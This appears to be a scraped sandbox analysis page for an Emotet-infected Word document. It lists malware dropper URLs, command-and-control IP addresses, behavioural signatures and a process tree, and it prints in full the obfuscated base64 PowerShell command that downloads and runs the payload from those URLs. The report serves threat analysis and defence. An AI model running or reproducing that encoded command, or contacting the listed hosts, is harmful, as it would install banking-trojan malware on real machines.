Overview

overview

10

Static

static

8

E3_f70ea3a...OC.doc

windows7_x64

10

E3_f70ea3a...OC.doc

windows10_x64

10

Analysis

  • max time kernel
    78s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    15/09/2020, 22:07

Sharing

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General

  • Target
    E3_f70ea3aff198bec28e60b926cd3be016818427f14eeb07bf3adfcd7a47e841e8_2020-09-15_06-22-00_DOC.doc
  • Size 155KB
  • Sample200915-kn98ev39w6
  • SHA256 f70ea3aff198bec28e60b926cd3be016818427f14eeb07bf3adfcd7a47e841e8
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://yolticaxcan.com/cgi-bin/T7nT/
  • exe.dropper

    http://vqpr.com/client/dN/
  • exe.dropper

    http://totogourmet.com/shopping/CRiy/
  • exe.dropper

    http://amyescort.de/wp-admin/RVuhzNI/
  • exe.dropper

    https://nypthealing.com/wp-includes/nfR/
  • exe.dropper

    https://www.lvl.com.br/wp-admin/U2nZ6FNU5G/
  • exe.dropper

    http://www.weblinx.com.pk/algarments.com.pk/UMR/

Extracted

Family

  • emotet

C2

  • 115.176.16.221:80

  • 45.79.16.230:7080

  • 145.239.169.32:7080

  • 190.85.46.52:7080

  • 180.26.62.115:443

  • 179.5.118.12:80

  • 189.160.188.97:80

  • 5.79.70.250:8080

  • 126.126.139.26:443

  • 41.84.243.145:80

  • 79.133.6.236:8080

  • 139.59.12.63:8080

  • 95.216.205.155:8080

  • 45.177.120.37:8080

  • 54.38.143.245:8080

  • 157.7.164.178:8081

  • 41.212.89.128:80

  • 50.116.78.109:8080

  • 75.127.14.170:8080

  • 49.243.9.118:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3_f70ea3aff198bec28e60b926cd3be016818427f14eeb07bf3adfcd7a47e841e8_2020-09-15_06-22-00_DOC.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1412
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABIAHEAZgA5ADUAcAB3AD0AKAAoACcAWgAwACcAKwAnADEAJwApACsAKAAnAGQANAA0ACcAKwAnADAAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAUAByAG8AZgBpAGwAZQBcAGMAMgBsAEIATABqAEoAXABIADYATAAzADkAcgAxAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAQwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAFUAUgBpAHQAWQBwAFIATwBUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxACcAKwAnADIALAAnACkAKwAoACcAIAAnACsAJwB0AGwAJwApACsAKAAnAHMAMQAxACwAJwArACcAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEwANwB5AG8AYQAwAG4AIAA9ACAAKAAoACcAWgAxACcAKwAnAHgAYgAnACkAKwAnAG8AXwAnACkAOwAkAEUAXwBmAGQAcQBmAGYAPQAoACcAWQAnACsAKAAnAGYAcwAnACsAJwBlAHYAJwApACsAJwA0AHEAJwApADsAJABMAGoAcgBuAGsAcQA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9ACcAKwAoACcAQwAyACcAKwAnAGwAYgAnACkAKwAnAGwAagAnACsAJwBqACcAKwAnAHsAMAB9AEgANgBsADMAOQByADEAewAwACcAKwAnAH0AJwApAC0AZgBbAGMAaABBAHIAXQA5ADIAKQArACQATAA3AHkAbwBhADAAbgArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFIAZgBjAGIAbgB1AGcAPQAoACcATQAnACsAJwA4ACcAKwAoACcAagAzAGkANgAnACsAJwB6ACcAKQApADsAJABXAGwAdgB3AGcAawA0AD0AJgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAGMATABJAGUATgB0ADsAJABTADgAegBmAF8AcgBoAD0AKAAoACcAaAAnACsAJwB0AHQAcAA6ACcAKQArACcALwAvACcAKwAoACcAeQAnACsAJwBvAGwAdABpAGMAJwApACsAJwBhACcAKwAnAHgAYwAnACsAJwBhACcAKwAnAG4ALgAnACsAKAAnAGMAJwArACcAbwAnACsAJwBtAC8AYwBnAGkALQBiACcAKQArACgAJwBpAG4AJwArACcALwBUADcAbgAnACkAKwAoACcAVAAvACoAJwArACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwB2AHEAcAByAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAbABpACcAKwAnAGUAJwApACsAKAAnAG4AdAAvACcAKwAnAGQAJwApACsAKAAnAE4AJwArACcALwAqAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHQAbwAnACsAJwB0AG8AJwApACsAKAAnAGcAbwB1AHIAJwArACcAbQBlAHQAJwArACcALgAnACkAKwAoACcAYwBvACcAKwAnAG0ALwBzACcAKQArACgAJwBoACcAKwAnAG8AcAAnACkAKwAnAHAAJwArACcAaQBuACcAKwAoACcAZwAvACcAKwAnAEMAJwApACsAJwBSAGkAJwArACgAJwB5AC8AKgBoAHQAJwArACcAdABwADoALwAvAGEAbQAnACsAJwB5ACcAKwAnAGUAcwAnACsAJwBjAG8AJwApACsAKAAnAHIAJwArACcAdAAuAGQAZQAvAHcAcAAtACcAKwAnAGEAJwArACcAZABtAGkAJwApACsAJwBuACcAKwAoACcALwBSAFYAdQBoACcAKwAnAHoAJwApACsAKAAnAE4AJwArACcASQAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6ACcAKQArACcALwAnACsAKAAnAC8AbgB5AHAAdAAnACsAJwBoAGUAYQAnACkAKwAoACcAbABpACcAKwAnAG4AZwAuACcAKQArACcAYwAnACsAKAAnAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBpAG4AJwArACcAYwBsAHUAJwApACsAKAAnAGQAZQBzACcAKwAnAC8AbgAnACkAKwAoACcAZgBSAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcABzADoAJwArACcALwAvAHcAdwAnACsAJwB3ACcAKQArACcALgAnACsAJwBsACcAKwAoACcAdgBsAC4AJwArACcAYwAnACkAKwAoACcAbwBtAC4AJwArACcAYgAnACkAKwAnAHIALwAnACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGEAJwArACcAZABtAGkAbgAnACkAKwAoACcALwBVACcAKwAnADIAJwApACsAKAAnAG4AWgAnACsAJwA2AEYAJwApACsAJwBOACcAKwAnAFUANQAnACsAJwBHACcAKwAnAC8AJwArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAOgAvAC8AdwB3AHcALgAnACsAJwB3ACcAKwAnAGUAJwApACsAJwBiACcAKwAnAGwAaQAnACsAJwBuACcAKwAnAHgALgAnACsAJwBjAG8AJwArACcAbQAnACsAKAAnAC4AJwArACcAcABrAC8AJwApACsAKAAnAGEAbABnACcAKwAnAGEAJwApACsAJwByACcAKwAoACcAbQBlAG4AdABzAC4AJwArACcAYwBvACcAKQArACgAJwBtAC4AJwArACcAcABrAC8AVQBNACcAKwAnAFIALwAnACkAKQAuACIAcwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAHgAXwA5AHkAbABnAD0AKAAnAFYAZgAnACsAKAAnADMAJwArACcAOQBrAHkAbgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAbgAyADIANAAxAGEAIABpAG4AIAAkAFMAOAB6AGYAXwByAGgAKQB7AHQAcgB5AHsAJABXAGwAdgB3AGcAawA0AC4AIgBEAE8AYABXAG4ATABPAEEAZABgAEYAYABJAEwAZQAiACgAJABBAG4AMgAyADQAMQBhACwAIAAkAEwAagByAG4AawBxADgAKQA7ACQATwByADAANwBtADkAcgA9ACgAJwBWAHcAJwArACgAJwB4ACcAKwAnAHQANwAnACkAKwAnAG8AdQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATABqAHIAbgBrAHEAOAApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADIAMgAwADMAMwApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABMAGoAcgBuAGsAcQA4ACkAOwAkAFQANgAwADUAcwB1AG4APQAoACcAWQBpACcAKwAoACcAaAAzAGkAJwArACcAagA0ACcAKQApADsAYgByAGUAYQBrADsAJABaAGgAMgA4ADQAcABuAD0AKAAnAEoAZQAnACsAKAAnAGMAegAnACsAJwB4ACcAKQArACcAaQBxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBxAHUANQBwAHEAYwA9ACgAJwBQACcAKwAoACcAOABvACcAKwAnADEAawA2AHYAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Users\Admin\C2lbljj\H6l39r1\Z1xbo_.exe
      "C:\Users\Admin\C2lbljj\H6l39r1\Z1xbo_.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1988
      • C:\Windows\SysWOW64\KBDGAE\ureg.exe
        "C:\Windows\SysWOW64\KBDGAE\ureg.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2008

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/912-22-0x000007FEF83B0000-0x000007FEF862A000-memory.dmp
        Download

        memory/1412-2-0x0000000008820000-0x0000000008824000-memory.dmp
        Download

        memory/1612-9-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1612-11-0x0000000002780000-0x0000000002781000-memory.dmp
        Download

        memory/1612-12-0x000000001C400000-0x000000001C401000-memory.dmp
        Download

        memory/1612-10-0x0000000001E80000-0x0000000001E81000-memory.dmp
        Download

        memory/1612-8-0x000000001AE10000-0x000000001AE11000-memory.dmp
        Download

        memory/1612-7-0x0000000001E40000-0x0000000001E41000-memory.dmp
        Download

        memory/1612-6-0x000007FEEA060000-0x000007FEEAA4C000-memory.dmp
        Download

        memory/1988-15-0x0000000000720000-0x0000000000732000-memory.dmp
        Download

        memory/1988-16-0x0000000000740000-0x0000000000750000-memory.dmp
        Download

        memory/2008-20-0x00000000003B0000-0x00000000003C2000-memory.dmp
        Download

        memory/2008-21-0x00000000002A0000-0x00000000002B0000-memory.dmp
        Download